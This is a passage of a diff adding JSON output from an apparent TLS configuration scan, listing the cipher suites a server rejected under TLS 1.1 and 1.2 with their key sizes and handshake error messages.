"TLS_ECDH_RSA_WITH_NULL_SHA", + "openssl_name": "ECDH-RSA-NULL-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_ECDH_RSA_WITH_AES_256_CBC_SHA", + "openssl_name": "ECDH-RSA-AES256-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDH_RSA_WITH_AES_128_CBC_SHA", + "openssl_name": "ECDH-RSA-AES128-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "ECDH-RSA-DES-CBC3-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDH_ECDSA_WITH_RC4_128_SHA", + "openssl_name": "ECDH-ECDSA-RC4-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 0, + "name": "TLS_ECDH_ECDSA_WITH_NULL_SHA", + "openssl_name": "ECDH-ECDSA-NULL-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA", + "openssl_name": "ECDH-ECDSA-AES256-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA", + "openssl_name": "ECDH-ECDSA-AES128-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "ECDH-ECDSA-DES-CBC3-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDHE_RSA_WITH_RC4_128_SHA", + "openssl_name": "ECDHE-RSA-RC4-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 0, + "name": "TLS_ECDHE_RSA_WITH_NULL_SHA", + "openssl_name": "ECDHE-RSA-NULL-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA", + "openssl_name": "ECDHE-RSA-AES256-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA", + "openssl_name": "ECDHE-RSA-AES128-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "ECDHE-RSA-DES-CBC3-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDHE_ECDSA_WITH_RC4_128_SHA", + "openssl_name": "ECDHE-ECDSA-RC4-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 0, + "name": "TLS_ECDHE_ECDSA_WITH_NULL_SHA", + "openssl_name": "ECDHE-ECDSA-NULL-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA", + "openssl_name": "ECDHE-ECDSA-AES256-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA", + "openssl_name": "ECDHE-ECDSA-AES128-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "ECDHE-ECDSA-DES-CBC3-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 128, + "name": "TLS_DH_anon_WITH_SEED_CBC_SHA", + "openssl_name": "ADH-SEED-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 128, + "name": "TLS_DH_anon_WITH_RC4_128_MD5", + "openssl_name": "ADH-RC4-MD5" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 56, + "name": "TLS_DH_anon_WITH_DES_CBC_SHA", + "openssl_name": "ADH-DES-CBC-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 256, + "name": "TLS_DH_anon_WITH_CAMELLIA_256_CBC_SHA", + "openssl_name": "ADH-CAMELLIA256-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 128, + "name": "TLS_DH_anon_WITH_CAMELLIA_128_CBC_SHA", + "openssl_name": "ADH-CAMELLIA128-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 256, + "name": "TLS_DH_anon_WITH_AES_256_CBC_SHA", + "openssl_name": "ADH-AES256-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 128, + "name": "TLS_DH_anon_WITH_AES_128_CBC_SHA", + "openssl_name": "ADH-AES128-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 168, + "name": "TLS_DH_anon_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "ADH-DES-CBC3-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 40, + "name": "TLS_DH_anon_EXPORT_WITH_RC4_40_MD5", + "openssl_name": "EXP-ADH-RC4-MD5" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 40, + "name": "TLS_DH_anon_EXPORT_WITH_DES40_CBC_SHA", + "openssl_name": "EXP-ADH-DES-CBC-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DH_RSA_WITH_SEED_CBC_SHA", + "openssl_name": "DH-RSA-SEED-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 56, + "name": "TLS_DH_RSA_WITH_DES_CBC_SHA", + "openssl_name": "DH-RSA-DES-CBC-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DH_RSA_WITH_CAMELLIA_256_CBC_SHA", + "openssl_name": "DH-RSA-CAMELLIA256-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DH_RSA_WITH_CAMELLIA_128_CBC_SHA", + "openssl_name": "DH-RSA-CAMELLIA128-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DH_RSA_WITH_AES_256_CBC_SHA", + "openssl_name": "DH-RSA-AES256-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DH_RSA_WITH_AES_128_CBC_SHA", + "openssl_name": "DH-RSA-AES128-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_DH_RSA_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "DH-RSA-DES-CBC3-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DH_DSS_WITH_SEED_CBC_SHA", + "openssl_name": "DH-DSS-SEED-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 56, + "name": "TLS_DH_DSS_WITH_DES_CBC_SHA", + "openssl_name": "DH-DSS-DES-CBC-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DH_DSS_WITH_CAMELLIA_256_CBC_SHA", + "openssl_name": "DH-DSS-CAMELLIA256-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DH_DSS_WITH_CAMELLIA_128_CBC_SHA", + "openssl_name": "DH-DSS-CAMELLIA128-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DH_DSS_WITH_AES_256_CBC_SHA", + "openssl_name": "DH-DSS-AES256-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DH_DSS_WITH_AES_128_CBC_SHA", + "openssl_name": "DH-DSS-AES128-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_DH_DSS_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "DH-DSS-DES-CBC3-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DHE_RSA_WITH_SEED_CBC_SHA", + "openssl_name": "DHE-RSA-SEED-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 56, + "name": "TLS_DHE_RSA_WITH_DES_CBC_SHA", + "openssl_name": "EDH-RSA-DES-CBC-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA", + "openssl_name": "DHE-RSA-CAMELLIA256-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA", + "openssl_name": "DHE-RSA-CAMELLIA128-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DHE_RSA_WITH_AES_256_CBC_SHA", + "openssl_name": "DHE-RSA-AES256-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DHE_RSA_WITH_AES_128_CBC_SHA", + "openssl_name": "DHE-RSA-AES128-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "EDH-RSA-DES-CBC3-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 40, + "name": "TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA", + "openssl_name": "EXP-EDH-RSA-DES-CBC-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DHE_DSS_WITH_SEED_CBC_SHA", + "openssl_name": "DHE-DSS-SEED-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 56, + "name": "TLS_DHE_DSS_WITH_DES_CBC_SHA", + "openssl_name": "EDH-DSS-DES-CBC-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DHE_DSS_WITH_CAMELLIA_256_CBC_SHA", + "openssl_name": "DHE-DSS-CAMELLIA256-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DHE_DSS_WITH_CAMELLIA_128_CBC_SHA", + "openssl_name": "DHE-DSS-CAMELLIA128-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DHE_DSS_WITH_AES_256_CBC_SHA", + "openssl_name": "DHE-DSS-AES256-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DHE_DSS_WITH_AES_128_CBC_SHA", + "openssl_name": "DHE-DSS-AES128-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "EDH-DSS-DES-CBC3-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 40, + "name": "TLS_DHE_DSS_EXPORT_WITH_DES40_CBC_SHA", + "openssl_name": "EXP-EDH-DSS-DES-CBC-SHA" + }, + "error_message": "TLS error: wrong version number" + } + ], + "tls_version_used": "TLS_1_1" + }, + "status": "COMPLETED" + }, + "tls_1_2_cipher_suites": { + "error_reason": null, + "error_trace": null, + "result": { + "accepted_cipher_suites": [], + "is_tls_version_supported": false, + "rejected_cipher_suites": [ + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_RSA_WITH_SEED_CBC_SHA", + "openssl_name": "SEED-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_RSA_WITH_RC4_128_SHA", + "openssl_name": "RC4-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_RSA_WITH_RC4_128_MD5", + "openssl_name": "RC4-MD5" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 0, + "name": "TLS_RSA_WITH_NULL_SHA256", + "openssl_name": "NULL-SHA256" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 0, + "name": "TLS_RSA_WITH_NULL_SHA", + "openssl_name": "NULL-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 0, + "name": "TLS_RSA_WITH_NULL_MD5", + "openssl_name": "NULL-MD5" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_RSA_WITH_IDEA_CBC_SHA", + "openssl_name": "IDEA-CBC-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 56, + "name": "TLS_RSA_WITH_DES_CBC_SHA", + "openssl_name": "DES-CBC-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_RSA_WITH_CAMELLIA_256_CBC_SHA256", + "openssl_name": "CAMELLIA256-SHA256" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_RSA_WITH_CAMELLIA_256_CBC_SHA", + "openssl_name": "CAMELLIA256-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_RSA_WITH_CAMELLIA_128_CBC_SHA256", + "openssl_name": "CAMELLIA128-SHA256" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_RSA_WITH_CAMELLIA_128_CBC_SHA", + "openssl_name": "CAMELLIA128-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_RSA_WITH_ARIA_256_GCM_SHA384", + "openssl_name": "ARIA256-GCM-SHA384" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_RSA_WITH_ARIA_128_GCM_SHA256", + "openssl_name": "ARIA128-GCM-SHA256" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_RSA_WITH_AES_256_GCM_SHA384", + "openssl_name": "AES256-GCM-SHA384" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_RSA_WITH_AES_256_CCM_8", + "openssl_name": "AES256-CCM8" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_RSA_WITH_AES_256_CCM", + "openssl_name": "AES256-CCM" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_RSA_WITH_AES_256_CBC_SHA256", + "openssl_name": "AES256-SHA256" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_RSA_WITH_AES_256_CBC_SHA", + "openssl_name": "AES256-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_RSA_WITH_AES_128_GCM_SHA256", + "openssl_name": "AES128-GCM-SHA256" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_RSA_WITH_AES_128_CCM_8", + "openssl_name": "AES128-CCM8" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_RSA_WITH_AES_128_CCM", + "openssl_name": "AES128-CCM" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_RSA_WITH_AES_128_CBC_SHA256", + "openssl_name": "AES128-SHA256" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_RSA_WITH_AES_128_CBC_SHA", + "openssl_name": "AES128-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_RSA_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "DES-CBC3-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 40, + "name": "TLS_RSA_EXPORT_WITH_RC4_40_MD5", + "openssl_name": "EXP-RC4-MD5" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 40, + "name": "TLS_RSA_EXPORT_WITH_RC2_CBC_40_MD5", + "openssl_name": "EXP-RC2-CBC-MD5" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 40, + "name": "TLS_RSA_EXPORT_WITH_DES40_CBC_SHA", + "openssl_name": "EXP-DES-CBC-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 128, + "name": "TLS_ECDH_anon_WITH_RC4_128_SHA", + "openssl_name": "AECDH-RC4-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 0, + "name": "TLS_ECDH_anon_WITH_NULL_SHA", + "openssl_name": "AECDH-NULL-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 256, + "name": "TLS_ECDH_anon_WITH_AES_256_CBC_SHA", + "openssl_name": "AECDH-AES256-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 128, + "name": "TLS_ECDH_anon_WITH_AES_128_CBC_SHA", + "openssl_name": "AECDH-AES128-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 168, + "name": "TLS_ECDH_anon_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "AECDH-DES-CBC3-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDH_RSA_WITH_RC4_128_SHA", + "openssl_name": "ECDH-RSA-RC4-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 0, + "name": "TLS_ECDH_RSA_WITH_NULL_SHA", + "openssl_name": "ECDH-RSA-NULL-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_ECDH_RSA_WITH_AES_256_GCM_SHA384", + "openssl_name": "ECDH-RSA-AES256-GCM-SHA384" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_ECDH_RSA_WITH_AES_256_CBC_SHA384", + "openssl_name": "ECDH-RSA-AES256-SHA384" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_ECDH_RSA_WITH_AES_256_CBC_SHA", + "openssl_name": "ECDH-RSA-AES256-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDH_RSA_WITH_AES_128_GCM_SHA256", + "openssl_name": "ECDH-RSA-AES128-GCM-SHA256" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDH_RSA_WITH_AES_128_CBC_SHA256", + "openssl_name": "ECDH-RSA-AES128-SHA256" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDH_RSA_WITH_AES_128_CBC_SHA", + "openssl_name": "ECDH-RSA-AES128-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "ECDH-RSA-DES-CBC3-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDH_ECDSA_WITH_RC4_128_SHA", + "openssl_name": "ECDH-ECDSA-RC4-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 0, + "name": "TLS_ECDH_ECDSA_WITH_NULL_SHA", + "openssl_name": "ECDH-ECDSA-NULL-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_ECDH_ECDSA_WITH_AES_256_GCM_SHA384", + "openssl_name": "ECDH-ECDSA-AES256-GCM-SHA384" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA384", + "openssl_name": "ECDH-ECDSA-AES256-SHA384" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA", + "openssl_name": "ECDH-ECDSA-AES256-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDH_ECDSA_WITH_AES_128_GCM_SHA256", + "openssl_name": "ECDH-ECDSA-AES128-GCM-SHA256" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA256", + "openssl_name": "ECDH-ECDSA-AES128-SHA256" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA", + "openssl_name": "ECDH-ECDSA-AES128-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "ECDH-ECDSA-DES-CBC3-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDHE_RSA_WITH_RC4_128_SHA", + "openssl_name": "ECDHE-RSA-RC4-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 0, + "name": "TLS_ECDHE_RSA_WITH_NULL_SHA", + "openssl_name": "ECDHE-RSA-NULL-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256", + "openssl_name": "ECDHE-RSA-CHACHA20-POLY1305" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_ECDHE_RSA_WITH_CAMELLIA_256_CBC_SHA384", + "openssl_name": "ECDHE-RSA-CAMELLIA256-SHA384" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDHE_RSA_WITH_CAMELLIA_128_CBC_SHA256", + "openssl_name": "ECDHE-RSA-CAMELLIA128-SHA256" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_ECDHE_RSA_WITH_ARIA_256_GCM_SHA384", + "openssl_name": "ECDHE-ARIA256-GCM-SHA384" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDHE_RSA_WITH_ARIA_128_GCM_SHA256", + "openssl_name": "ECDHE-ARIA128-GCM-SHA256" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384", + "openssl_name": "ECDHE-RSA-AES256-GCM-SHA384" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384", + "openssl_name": "ECDHE-RSA-AES256-SHA384" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA", + "openssl_name": "ECDHE-RSA-AES256-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256", + "openssl_name": "ECDHE-RSA-AES128-GCM-SHA256" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256", + "openssl_name": "ECDHE-RSA-AES128-SHA256" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA", + "openssl_name": "ECDHE-RSA-AES128-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "ECDHE-RSA-DES-CBC3-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDHE_ECDSA_WITH_RC4_128_SHA", + "openssl_name": "ECDHE-ECDSA-RC4-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 0, + "name": "TLS_ECDHE_ECDSA_WITH_NULL_SHA", + "openssl_name": "ECDHE-ECDSA-NULL-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256", + "openssl_name": "ECDHE-ECDSA-CHACHA20-POLY1305" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_ECDHE_ECDSA_WITH_CAMELLIA_256_CBC_SHA384", + "openssl_name": "ECDHE-ECDSA-CAMELLIA256-SHA384" + }, + "error_message": 